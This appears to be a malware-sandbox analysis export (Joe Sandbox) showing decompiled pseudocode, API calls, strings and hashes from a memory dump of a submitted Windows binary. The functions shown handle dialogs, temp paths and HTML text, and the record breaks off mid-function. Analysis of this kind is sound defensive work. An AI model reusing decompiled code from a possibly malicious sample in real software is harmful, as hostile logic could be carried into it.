								case 0xc:
									L83:
									__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
									__eax = E013C3A84( *(__ebp - 0x5c84) & 0x0000ffff);
									__eflags = __eax - 0x46;
									if(__eax == 0x46) {
										 *0x13e20fc = 1;
									} else {
										__eflags = __eax - 0x55;
										if(__eax == 0x55) {
											 *0x13e20fd = 1;
										} else {
											__eax = 0;
											 *0x13e20fc = __al;
											 *0x13e20fd = __al;
										}
									}
									goto L164;
								case 0xd:
									L93:
									 *0x13f8941 = 1;
									__eax = __eax + 0x13f8941;
									_t104 = __esi + 0x39;
									 *_t104 =  *(__esi + 0x39) + __esp;
									__eflags =  *_t104;
									__ebp = 0xffffa37c;
									if( *_t104 != 0) {
										_t106 = __ebp - 0x5c84; // 0xffff46f8
										__eax = _t106;
										_push(_t106);
										 *0x13da150 = E013B0AF5();
									}
									goto L164;
							}
							L2:
							_t210 = E013B93B9(_t210, _t279);
							_t279 = _t279 + 0x2000;
							_t277 = _t277 - 1;
							if(_t277 != 0) {
								goto L2;
							} else {
								_t280 = _t277;
								goto L4;
							}
						}
						L165:
						 *[fs:0x0] =  *((intOrPtr*)(_t285 - 0xc));
						return _t209;
					}
					L100:
					__eflags =  *0x13f0822;
					if( *0x13f0822 != 0) {
						goto L164;
					}
					L101:
					__eax = 0;
					 *(__ebp - 0x143c) = __ax;
					__eax = __ebp - 0x5c84;
					_push(__ebp - 0x5c84);
					__eax = E013C00DA(__ecx);
					_pop(__ecx);
					__ecx = 0x2c;
					__eflags = __eax;
					if(__eax != 0) {
						L108:
						__eflags =  *(__ebp - 0x143c);
						if( *(__ebp - 0x143c) == 0) {
							__ebp - 0x1bc8c = __ebp - 0x5c84;
							E013AF160(__ebp - 0x5c84, __ebp - 0x1bc8c, 0x1000) = __ebp - 0x19c8c;
							__ebp - 0x143c = E013AF160(__ebp - 0x143c, __ebp - 0x19c8c, 0x200);
						}
						__ebp - 0x5c84 = E013B91E4(__ebp - 0x5c84);
						__eax = 0;
						 *(__ebp - 0x4c84) = __ax;
						__ebp - 0x143c = __ebp - 0x5c84;
						__eax = E013B8CCA( *(__ebp + 8), __ebp - 0x5c84, __ebp - 0x143c, 0x24);
						__eflags = __eax - 6;
						if(__eax == 6) {
							goto L164;
						} else {
							L111:
							__eax = 0;
							__eflags = 0;
							 *0x13e20ff = 1;
							 *0x13e3122 = __ax;
							__eax = EndDialog( *(__ebp + 8), 1);
							goto L112;
						}
					}
					L102:
					__esi = 0;
					__eflags =  *(__ebp - 0x5c84) - __dx;
					if( *(__ebp - 0x5c84) == __dx) {
						goto L108;
					}
					L103:
					__ecx = 0;
					__eax = __ebp - 0x5c84;
					while(1) {
						L104:
						__eflags =  *__eax - 0x40;
						if( *__eax == 0x40) {
							break;
						}
						L105:
						__esi =  &(__esi->i);
						__eax = __ebp - 0x5c84;
						__ecx = __esi + __esi;
						__eax = __ebp - 0x5c84 + __ecx;
						__eflags =  *__eax - __dx;
						if( *__eax != __dx) {
							continue;
						}
						L106:
						goto L108;
					}
					L107:
					__ebp - 0x5c82 = __ebp - 0x5c82 + __ecx;
					__ebp - 0x143c = E013AF160(__ebp - 0x143c, __ebp - 0x5c82 + __ecx, 0x200);
					__eax = 0;
					__eflags = 0;
					 *(__ebp + __esi * 2 - 0x5c84) = __ax;
					goto L108;
					L112:
					__eflags = _t263 - 7;
					if(_t263 == 7) {
						__eflags =  *0x13e4124;
						if( *0x13e4124 == 0) {
							 *0x13e4124 = 2;
						}
						 *0x13e3120 = 1;
					}
					goto L164;
				}
			}

0x013bb0d8
0x013bb0d8
0x013bb0d8
0x013bb0d8
0x013bb0db
0x00000000
0x00000000
0x013bb0e1
0x013bb0e1
0x013bb0e7
0x013bb0f5
0x013bb101
0x013bb103
0x013bb105
0x013bb10a
0x013bb10a
0x013bb10a
0x013bb122
0x013bb12f
0x013bb134
0x013bb136
0x00000000
0x00000000
0x013bb108
0x013bb108
0x013bb108
0x013bb109
0x013bb109
0x013bb138
0x013bb142
0x013bb148
0x013bb150
0x013bb610
0x013bb610
0x013bb610
0x013bb615
0x013bb619
0x013bb61d
0x013bb624
0x013bb62b
0x013bb62e
0x013bb633
0x013bb636
0x013bb63b
0x013baa9a
0x013baaa0
0x013baaa6
0x013baaa6
0x00000000
0x00000000
0x00000000
0x00000000
0x013baabb
0x013baad2
0x013baad6
0x00000000
0x013baad8
0x00000000
0x013baad8
0x013baad6
0x013baadd
0x013baae0
0x00000000
0x00000000
0x013baae6
0x013baae6
0x00000000
0x013baaed
0x013baaed
0x013baaf0
0x00000000
0x00000000
0x013baaf6
0x013baaf6
0x013bab03
0x013bab29
0x013bab34
0x013bab3e
0x013bab49
0x013bab4e
0x013bab56
0x013bab5c
0x013bab61
0x013bab63
0x013bacc8
0x013bacc8
0x013bacd2
0x00000000
0x013bab69
0x013bab6f
0x013bab91
0x013baba0
0x013babad
0x013babbe
0x013babc1
0x013babc4
0x013babd7
0x013babde
0x013babe3
0x013babe5
0x00000000
0x00000000
0x013babeb
0x013babf2
0x013babf7
0x013babfc
0x013bac08
0x013bac0d
0x013bac10
0x013bac17
0x013bac19
0x013bac1a
0x013bac24
0x013bac2a
0x013bac2b
0x00000000
0x013bac2b
0x013babc6
0x013babcd
0x013babd3
0x013babd5
0x00000000
0x00000000
0x00000000
0x013bac31
0x013bac38
0x013bac3a
0x013bac3d
0x013bacad
0x013bacad
0x013bacb5
0x013bacbb
0x013bacc0
0x013bacc2
0x013bab71
0x013bab76
0x013bab7e
0x013bab84
0x013bab8b
0x00000000
0x00000000
0x00000000
0x013bab8b
0x00000000
0x013bacc2
0x013bac3f
0x013bac46
0x013bac4c
0x013bac4e
0x00000000
0x013bac50
0x013bac50
0x013bac52
0x013bac53
0x013bac57
0x013bac6f
0x013bac74
0x013bac7e
0x013bac80
0x013bac83
0x013bac55
0x013bac55
0x013bac56
0x00000000
0x013bac85
0x013bac93
0x013bac99
0x013bac9b
0x013baca7
0x013baca7
0x00000000
0x013bac9b
0x013bac83
0x013bac4e
0x00000000
0x013bacdc
0x013bacdc
0x013bacde
0x013bace4
0x013bace9
0x013baceb
0x013bacee
0x013bacf0
0x013bacfd
0x013bad02
0x013bad03
0x013bad03
0x013bad04
0x013bad04
0x013bad07
0x013bad09
0x013bad13
0x013bad16
0x013bad1c
0x013bad1e
0x013bad0b
0x013bad0b
0x013bad0b
0x013bad23
0x013bad25
0x013bad2e
0x013bad2e
0x013bad30
0x013bad31
0x013bad36
0x013bad3f
0x013bad40
0x013bad46
0x013bad4b
0x013bad4e
0x013bad50
0x013bad52
0x013bad57
0x013bad59
0x013bad5b
0x013bad5b
0x013bad5d
0x013bad5d
0x013bad62
0x013bad67
0x013bad68
0x013bad68
0x013bad69
0x013bad6b
0x013bad72
0x013bad77
0x013bad6b
0x00000000
0x00000000
0x013bad7d
0x013bad7d
0x013bad7f
0x013bad8f
0x013bad8f
0x00000000
0x00000000
0x013bad9a
0x013bad9a
0x013bad9c
0x00000000
0x00000000
0x013bada2
0x013bada2
0x013bada9
0x00000000
0x00000000
0x013badaf
0x013badaf
0x013badb1
0x013badb7
0x013badb9
0x013badc0
0x013badc1
0x013badc8
0x013badca
0x013badca
0x013badd1
0x013badd6
0x013baddc
0x013badde
0x00000000
0x013bade4
0x013bade4
0x013bade4
0x013bade7
0x013bade9
0x013badea
0x013baded
0x013bae16
0x013bae16
0x013bae19
0x013baefe
0x013baf07
0x013baf0c
0x013baf0c
0x013baf0e
0x013baf0e
0x013baf10
0x013baf12
0x013baf19
0x013baf1e
0x013baf1f
0x013baf20
0x013baf22
0x013baf24
0x013baf28
0x013baf2a
0x013baf2a
0x013baf2c
0x013baf2c
0x013baf28
0x013baf30
0x013baf36
0x013baf43
0x013baf4a
0x013baf5a
0x013baf64
0x013baf6c
0x013baf78
0x013baf7a
0x013baf82
0x013baf87
0x013baf88
0x013baf89
0x013baf8b
0x013baf98
0x013bafa1
0x013bafa1
0x00000000
0x013baf8b
0x013bae1f
0x013bae1f
0x013bae22
0x013bae2f
0x013bae2f
0x013bae32
0x013bae34
0x013bae35
0x013bae37
0x013bae38
0x013bae3d
0x013bae42
0x013bae48
0x013bae4a
0x013bae4c
0x013bae4f
0x013bae56
0x013bae57
0x013bae5d
0x013bae5e
0x013bae61
0x013bae62
0x013bae63
0x013bae68
0x013bae6b
0x013bae71
0x013bae7a
0x013bae7d
0x013bae82
0x013bae84
0x013bae86
0x013bae88
0x013bae88
0x013bae8a
0x013bae8a
0x013bae8c
0x013bae8c
0x013bae94
0x013bae9b
0x013bae9d
0x013baea4
0x013baeaa
0x013baeac
0x013baead
0x013baeb5
0x013baec4
0x013baec4
0x013baeb5
0x013baecf
0x013baed1
0x013baee0
0x013baee6
0x013baeec
0x013baef7
0x013baef7
0x00000000
0x013baeec
0x013bae24
0x013bae24
0x013bae29
0x00000000
0x00000000
0x00000000
0x013bae29
0x013badef
0x013badef
0x013badf3
0x00000000
0x00000000
0x013badf5
0x013badf5
0x013badf8
0x013badfa
0x013badfd
0x00000000
0x00000000
0x013bae03
0x013bae0c
0x00000000
0x013bae0c
0x00000000
0x013bafa8
0x013bafa8
0x013bafa9
0x013bafae
0x013bafb0
0x013bafb3
0x013bafb3
0x00000000
0x013bafe9
0x013bafe9
0x013baff0
0x013baff2
0x013baff2
0x013baff4
0x013bb023
0x013bb023
0x013bb029
0x00000000
0x013bb029
0x013baff6
0x013baff6
0x013baff6
0x013baff9
0x013bb012
0x013bb012
0x013bb018
0x013bb018
0x00000000
0x013bb018
0x013baffb
0x013baffb
0x013baffb
0x013baffe
0x00000000
0x00000000
0x013bb000
0x013bb000
0x013bb000
0x013bb003
0x00000000
0x00000000
0x013bb009
0x013bb009
0x00000000
0x00000000
0x013bb076
0x013bb076
0x013bb079
0x00000000
0x00000000
0x013bb07b
0x013bb07b
0x013bb087
0x013bb08c
0x013bb08d
0x013bb08e
0x013bb090
0x00000000
0x00000000
0x013bb092
0x013bb092
0x00000000
0x00000000
0x00000000
0x00000000
0x013bb284
0x013bb284
0x013bb287
0x013bb289
0x013bb290
0x013bb292
0x013bb29f
0x013bb29f
0x013bb2a4
0x013bb2a7
0x013bb2ad
0x013bb2ad
0x013bb2b2
0x00000000
0x00000000
0x013bb2be
0x013bb2be
0x013bb2c1
0x013bb0a2
0x013bb0a2
0x00000000
0x013bb0a2
0x013bb2c7
0x013bb2c7
0x013bb093
0x013bb093
0x013bb099
0x013bb09a
0x013bb09d
0x00000000
0x00000000
0x013bb2ce
0x013bb2ce
0x013bb2d1
0x00000000
0x00000000
0x013bb2d7
0x013bb2d7
0x013bb2d9
0x013bb2e0
0x013bb2e8
0x013bb2ee
0x013bb2f3
0x013bb2f6
0x013bb32b
0x013bb330
0x013bb336
0x013bb337
0x013bb33c
0x013bb2f8
0x013bb2f8
0x013bb2fb
0x013bb301
0x013bb317
0x013bb31c
0x013bb31d
0x013bb322
0x013bb303
0x013bb303
0x013bb308
0x013bb309
0x013bb30e
0x013bb30e
0x013bb301
0x013bb343
0x013bb345
0x013bb34c
0x013bb35a
0x013bb361
0x013bb366
0x013bb367
0x013bb368
0x013bb36a
0x013bb36b
0x013bb372
0x013bb3bb
0x013bb3c2
0x013bb3c7
0x013bb3c9
0x00000000
0x00000000
0x013bb3cf
0x013bb3cf
0x013bb3d1
0x013bb3d7
0x013bb3de
0x00000000
0x00000000
0x013bb3e0
0x013bb3e0
0x013bb3e2
0x013bb3e3
0x013bb3e3
0x013bb3e3
0x013bb3e6
0x013bb3e9
0x013bb3f3
0x013bb3f3
0x013bb3f5
0x013bb3f7
0x013bb401
0x013bb406
0x013bb408
0x013bb446
0x013bb446
0x013bb449
0x013bb449
0x013bb44b
0x013bb44c
0x013bb44c
0x00000000
0x013bb44c
0x013bb40a
0x013bb40a
0x013bb40c
0x013bb40d
0x013bb40f
0x013bb412
0x013bb427
0x013bb427
0x013bb429
0x013bb42a
0x013bb42a
0x013bb42a
0x013bb42d
0x013bb42d
0x013bb432
0x013bb433
0x013bb439
0x013bb439
0x013bb43a
0x013bb43f
0x013bb440
0x013bb441
0x00000000
0x013bb441
0x013bb414
0x013bb414
0x013bb41b
0x013bb41e
0x013bb41f
0x00000000
0x013bb41f
0x013bb3eb
0x013bb3eb
0x013bb3ed
0x013bb3ee
0x013bb3f1
0x00000000
0x00000000
0x00000000
0x013bb44e
0x013bb44e
0x013bb451
0x013bb451
0x013bb456
0x013bb458
0x013bb45a
0x013bb45a
0x013bb45c
0x013bb45c
0x00000000
0x013bb374
0x013bb374
0x013bb37b
0x013bb387
0x013bb38d
0x013bb38e
0x013bb38f
0x013bb394
0x013bb397
0x013bb399
0x013bb39f
0x013bb3a1
0x013bb3af
0x013bb3b4
0x013bb3b5
0x013bb3b5
0x013bb45f
0x013bb45f
0x013bb467
0x013bb46c
0x013bb46e
0x013bb46f
0x013bb475
0x013bb476
0x013bb47c
0x013bb47d
0x013bb47d
0x013bb482
0x013bb483
0x013bb489
0x013bb48a
0x013bb490
0x013bb491
0x013bb496
0x013bb49e
0x013bb4aa
0x013bb4aa
0x013bb4b7
0x013bb4bc
0x013bb4c4
0x013bb4ce
0x013bb4db
0x013bb4e2
0x013bb4e2
0x013bb4ee
0x013bb4f5
0x013bb4fa
0x013bb502
0x013bb508
0x013bb509
0x013bb50a
0x013bb50c
0x013bb50c
0x013bb521
0x013bb526
0x013bb532
0x013bb534
0x013bb545
0x013bb552
0x00000000
0x013bb536
0x013bb536
0x013bb541
0x013bb543
0x013bb557
0x013bb557
0x013bb559
0x013bb55f
0x013bb565
0x013bb573
0x013bb578
0x013bb579
0x013bb581
0x013bb586
0x013bb58d
0x013bb593
0x013bb595
0x013bb59b
0x013bb5a1
0x013bb5a3
0x013bb5ac
0x013bb5af
0x013bb5b1
0x013bb5ba
0x013bb5bd
0x013bb5c3
0x013bb5c6
0x013bb5cf
0x013bb5de
0x013bb5e3
0x013bb5eb
0x013bb5ed
0x013bb5ee
0x013bb5f4
0x013bb5f5
0x013bb5f7
0x013bb5fc
0x013bb5fc
0x00000000
0x013bb5eb
0x00000000
0x013bb543
0x013bb534
0x00000000
0x013bb604
0x013bb604
0x013bb607
0x013bb609
0x013bb609
0x00000000
0x00000000
0x013bb035
0x013bb035
0x013bb03d
0x013bb043
0x013bb046
0x013bb06a
0x013bb048
0x013bb048
0x013bb04b
0x013bb05e
0x013bb04d
0x013bb04d
0x013bb04f
0x013bb054
0x013bb054
0x013bb04b
0x00000000
0x00000000
0x013bb0ae
0x013bb0ae
0x013bb0af
0x013bb0b4
0x013bb0b4
0x013bb0b4
0x013bb0b7
0x013bb0bc
0x013bb0c2
0x013bb0c2
0x013bb0c8
0x013bb0ce
0x013bb0ce
0x00000000
0x00000000
0x013baaa7
0x013baaa9
0x013baaae
0x013baab4
0x013baab7
0x00000000
0x013baab9
0x013baab9
0x00000000
0x013baab9
0x013baab7
0x013bb641
0x013bb647
0x013bb651
0x013bb651
0x013bb156
0x013bb156
0x013bb15d
0x00000000
0x00000000
0x013bb163
0x013bb163
0x013bb165
0x013bb16c
0x013bb174
0x013bb175
0x013bb17a
0x013bb17b
0x013bb17c
0x013bb17e
0x013bb1d2
0x013bb1d2
0x013bb1da
0x013bb1e8
0x013bb1f9
0x013bb207
0x013bb207
0x013bb213
0x013bb218
0x013bb21a
0x013bb22a
0x013bb234
0x013bb239
0x013bb23c
0x00000000
0x013bb242
0x013bb242
0x013bb247
0x013bb247
0x013bb249
0x013bb250
0x013bb256
0x00000000
0x013bb256
0x013bb23c
0x013bb180
0x013bb182
0x013bb184
0x013bb18b
0x00000000
0x00000000
0x013bb18d
0x013bb18d
0x013bb18f
0x013bb195
0x013bb195
0x013bb195
0x013bb199
0x00000000
0x00000000
0x013bb19b
0x013bb19b
0x013bb19c
0x013bb1a2
0x013bb1a5
0x013bb1a7
0x013bb1aa
0x00000000
0x00000000
0x013bb1ac
0x00000000
0x013bb1ac
0x013bb1ae
0x013bb1b9
0x013bb1c3
0x013bb1c8
0x013bb1c8
0x013bb1ca
0x00000000
0x013bb25c
0x013bb25c
0x013bb25f
0x013bb265
0x013bb26c
0x013bb26e
0x013bb26e
0x013bb278
0x013bb278
0x00000000
0x013bb25f

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 013BB0EE
_swprintf.LIBCMT ref: 013BB122

Part of subcall function 013A3F2B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 013A3F3E

SetDlgItemTextW.USER32(?,00000066,013E3122), ref: 013BB142
_wcschr.LIBVCRUNTIME ref: 013BB175
EndDialog.USER32(?,00000001), ref: 013BB256

Strings

%s%s%u, xrefs: 013BB117

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: 9f73baac42b07916501af3601ee12b8aaf6163bc0f6fc67501c97eb99fa220c0
Instruction ID: 33b5bfad08715b797d39b14ffe514cbe67ac89a3faca53ad4b718753eef689ba
Opcode Fuzzy Hash: 9f73baac42b07916501af3601ee12b8aaf6163bc0f6fc67501c97eb99fa220c0
Instruction Fuzzy Hash: 8441707190021DAEEF25DB64DD85FEEB7BDEB04308F4040AAE609E7585EF709A848F54

Uniqueness

Uniqueness Score: -1.00%

Function 013AC96F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E013AC96F(intOrPtr* __ecx, char _a8, char _a20, char _a4103, char _a4104, char _a4116, intOrPtr _a8216, intOrPtr _a8220, signed int _a8224, intOrPtr _a8228, intOrPtr _a8232) {
				char _v24;
				short* _t23;
				intOrPtr _t25;
				signed int _t38;
				void* _t47;
				intOrPtr* _t50;
				intOrPtr _t52;
				signed int _t58;
				void* _t63;
				void* _t66;
				intOrPtr* _t67;
				intOrPtr _t69;
				void* _t71;
				signed int _t72;
				void* _t79;
				void* _t80;

				_t23 = 0x2014;
				E013BCEC0();
				_t50 = __ecx;
				_t69 = _a8216;
				if( *__ecx == 0) {
					L21:
					if(_t69 != _a8220) {
						_t23 = E013AF160(_a8220, _t69, _a8224);
					}
					goto L23;
				} else {
					_t63 = 0x13d0638;
					_t25 = _a8228;
					if(_t25 == 0) {
						_t63 = 0x13d063c;
					} else {
						_t47 = _t25 - 1;
						if(_t47 == 0) {
							_t63 = 0x13d0640;
						} else {
							if(_t47 == 1) {
								_t63 = 0x13d0644;
							}
						}
					}
					_t66 = E013A5E83(0xffffffff, _t63, 1);
					if(_a8220 != 0) {
						E013B08F3(_a8232,  &_a4116, 0x1000);
						_t66 = E013A5E83(_t66,  &_a4104, E013C2120( &_a4104));
					}
					E013B08F3(_t69,  &_a20, 0x1000);
					_a4103 = 0;
					E013A3F2B( &_v24, 0xa, L"%08x",  !(E013A5E83(_t66,  &_a8, E013C2120( &_a8))));
					_t80 = _t80 + 0x10;
					_t55 = _t50;
					_t23 = E013ACE2D(_t50,  &_v24);
					if(_t23 == 0) {
						goto L21;
					} else {
						_t14 = _t23 + 0x12; // 0x12
						_t67 = _t14;
						_t79 = 0x22;
						if( *_t67 == _t79) {
							_t67 = _t67 + 2;
						}
						_push(0xc);
						_push(_t67);
						_t71 = E013C00DA(_t55);
						if(_t71 == 0) {
							_t72 = 0xff;
						} else {
							_t72 = _t71 - _t67 >> 1;
						}
						_t38 = _a8224;
						_t58 = _t38 - 1;
						if(_t72 > _t58) {
							asm("sbb esi, esi");
							_t72 =  ~_t38 & _t58;
						}
						_t52 = _a8220;
						if(_t72 != 0) {
							E013C35B3(_t52, _t67, _t72);
							_t80 = _t80 + 0xc;
						}
						 *((short*)(_t52 + _t72 * 2)) = 0;
						_t23 = E013C02BB(_t52, _t79);
						if(_t23 != 0) {
							 *_t23 = 0;
						}
						L23:
						return _t23;
					}
				}
			}

0x013ac96f
0x013ac974
0x013ac97a
0x013ac97e
0x013ac989
0x013acacd
0x013acad4
0x013acae5
0x013acae5
0x00000000
0x013ac98f
0x013ac996
0x013ac99b
0x013ac99e
0x013ac9b8
0x013ac9a0
0x013ac9a0
0x013ac9a3
0x013ac9b1
0x013ac9a5
0x013ac9a8
0x013ac9aa
0x013ac9aa
0x013ac9a8
0x013ac9a3
0x013ac9cf
0x013ac9d6
0x013ac9e8
0x013aca0a
0x013aca0a
0x013aca13
0x013aca1c
0x013aca46
0x013aca4b
0x013aca52
0x013aca55
0x013aca5c
0x00000000
0x013aca5e
0x013aca60
0x013aca60
0x013aca63
0x013aca67
0x013aca69
0x013aca69
0x013aca6c
0x013aca6e
0x013aca74
0x013aca7a
0x013aca82
0x013aca7c
0x013aca7e
0x013aca7e
0x013aca87
0x013aca8e
0x013aca93
0x013aca99
0x013aca9b
0x013aca9b
0x013aca9d
0x013acaa6
0x013acaab
0x013acab0
0x013acab0
0x013acab7
0x013acabb
0x013acac4
0x013acac8
0x013acac8
0x013acaea
0x013acaf4
0x013acaf4
0x013aca5c

APIs

_strlen.LIBCMT ref: 013AC9F5
_strlen.LIBCMT ref: 013ACA25
_swprintf.LIBCMT ref: 013ACA46
_wcschr.LIBVCRUNTIME ref: 013ACA6F
_wcsrchr.LIBVCRUNTIME ref: 013ACABB

Strings

%08x, xrefs: 013ACA3A

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: _strlen$_swprintf_wcschr_wcsrchr
String ID: %08x
API String ID: 1593746830-3682738293
Opcode ID: 96828a8a054925bca51bd8b5178f14708b489e1a515310b64aaef9aba5324475
Instruction ID: 1abd01b619124cb92e46c195cd6d769da1ac95877079f41c10e17257ad12e093
Opcode Fuzzy Hash: 96828a8a054925bca51bd8b5178f14708b489e1a515310b64aaef9aba5324475
Instruction Fuzzy Hash: FF41E433908351AAF735E668CC48EFB77ECEB94718F44091AFA499B141DA34ED04C2A1

Uniqueness

Uniqueness Score: -1.00%

Function 013B7EE4 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 124
memoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E013B7EE4(void* __edx) {
				void* __ecx;
				void* _t20;
				short* _t24;
				void* _t28;
				signed int _t29;
				intOrPtr _t31;
				intOrPtr* _t38;
				void* _t44;
				void* _t58;
				intOrPtr* _t60;
				short* _t62;
				short* _t64;
				intOrPtr* _t67;
				long _t69;
				void* _t71;
				void* _t72;

				_t58 = __edx;
				_t43 = _t44;
				if( *((intOrPtr*)(_t44 + 0x10)) == 0) {
					return _t20;
				}
				 *(_t71 + 4) =  *(_t71 + 4) & 0x00000000;
				_t60 =  *((intOrPtr*)(_t71 + 0x18));
				 *((char*)(_t71 + 0x1c)) = E013B7D5E(_t60);
				_push(0x200 + E013C20A3(_t60) * 2);
				_t24 = E013C20C3(_t44);
				_t64 = _t24;
				if(_t64 == 0) {
					L16:
					return _t24;
				}
				E013C3557(_t64, L"<html>");
				E013C4644(_t64, L"<head><meta http-equiv=\"content-type\" content=\"text/html; charset=");
				E013C4644(_t64, L"utf-8\"></head>");
				_t72 = _t71 + 0x18;
				_t67 = _t60;
				_t28 = 0x20;
				if( *_t60 != _t28) {
					L4:
					_t29 = E013B0B22(_t76, _t67, L"<html>", 6);
					asm("sbb al, al");
					_t31 =  ~_t29 + 1;
					 *((intOrPtr*)(_t72 + 0x14)) = _t31;
					if(_t31 != 0) {
						_t9 = _t67 + 0xc; // 0xc
						_t60 = _t9;
					}
					E013C4644(_t64, _t60);
					if( *((char*)(_t72 + 0x1c)) == 0) {
						E013C4644(_t64, L"</html>");
					}
					_t79 =  *((char*)(_t72 + 0x1c));
					if( *((char*)(_t72 + 0x1c)) == 0) {
						_push(_t64);
						_t64 = E013B80F5(_t58, _t79);
					}
					_t69 = 9 + E013C20A3(_t64) * 6;
					_t62 = GlobalAlloc(0x40, _t69);
					if(_t62 != 0) {
						_t12 = _t69 - 3; // -3
						_t13 = _t62 + 3; // 0x3
						if(WideCharToMultiByte(0xfde9, 0, _t64, 0xffffffff, _t13, _t12, 0, 0) == 0) {
							 *_t62 = 0;
						} else {
							 *_t62 = 0xbbef;
							 *((char*)(_t62 + 2)) = 0xbf;
						}
					}
					L013C20BE(_t64);
					_t24 =  *0x13dab5c(_t62, 1, _t72 + 0x10);
					if(_t24 >= 0) {
						E013B7D95(_t43,  *((intOrPtr*)(_t43 + 0x10)),  *((intOrPtr*)(_t72 + 0xc)));
						_t38 =  *((intOrPtr*)(_t72 + 0xc));
						_t24 =  *((intOrPtr*)( *_t38 + 8))(_t38);
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_t67 = _t67 + 2;
					_t76 =  *_t67 - _t28;
				} while ( *_t67 == _t28);
				goto L4;
			}

0x013b7ee4
0x013b7ee7
0x013b7eed
0x013b8029
0x013b8029
0x013b7ef3
0x013b7efa
0x013b7f05
0x013b7f15
0x013b7f16
0x013b7f1b
0x013b7f21
0x013b8024
0x00000000
0x013b8025
0x013b7f2e
0x013b7f39
0x013b7f44
0x013b7f49
0x013b7f4c
0x013b7f50
0x013b7f54
0x013b7f5f
0x013b7f67
0x013b7f6e
0x013b7f70
0x013b7f72
0x013b7f76
0x013b7f78
0x013b7f78
0x013b7f78
0x013b7f7d
0x013b7f89
0x013b7f91
0x013b7f97
0x013b7f98
0x013b7f9d
0x013b7f9f
0x013b7fa7
0x013b7fa7
0x013b7fb3
0x013b7fbf
0x013b7fc3
0x013b7fc7
0x013b7fcd
0x013b7fe2
0x013b7fef
0x013b7fe4
0x013b7fe4
0x013b7fe9
0x013b7fe9
0x013b7fe2
0x013b7ff3
0x013b8001
0x013b800a
0x013b8015
0x013b801a
0x013b8021
0x013b8021
0x00000000
0x00000000
0x00000000
0x00000000
0x013b7f56
0x013b7f56
0x013b7f56
0x013b7f59
0x013b7f59
0x00000000

APIs

GlobalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,?,013B8704,?), ref: 013B7FB9
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,-00000003,00000000,00000000), ref: 013B7FDA

Strings

<html>, xrefs: 013B7F28, 013B7F61
</html>, xrefs: 013B7F8B
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 013B7F33
utf-8"></head>, xrefs: 013B7F3E

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 3286310052-4209811716
Opcode ID: b045a2c5ae0376304612a62bf310169efe6bb6887561ac1418ed5b7b30e03f69
Instruction ID: be8b5ac692f9933793cbd1fc8faf7939ca3d60e5bb37be6dbb81fe159584cad5
Opcode Fuzzy Hash: b045a2c5ae0376304612a62bf310169efe6bb6887561ac1418ed5b7b30e03f69
Instruction Fuzzy Hash: 32312832104312BEE725AB78EC45FAF7B9CDF91A68F00410EF600961C1FB709909C3A6

Uniqueness

Uniqueness Score: -1.00%

Function 013B859B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E013B859B(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, struct HWND__* _a8, intOrPtr _a12, char _a20) {
				struct tagRECT _v20;
				intOrPtr _v28;
				intOrPtr _v36;
				intOrPtr _t36;
				struct HWND__* _t40;
				intOrPtr* _t47;
				void* _t52;
				WCHAR* _t59;
				struct HWND__* _t60;

				_t60 = _a8;
				_t47 = __ecx;
				 *(__ecx + 8) = _t60;
				 *((char*)(__ecx + 0x1e)) = _a20;
				ShowWindow(_t60, 0);
				E013B8310(_t47, _a4);
				 *(_t47 + 0x14) = _a8;
				 *((intOrPtr*)(_t47 + 0x18)) = _a12;
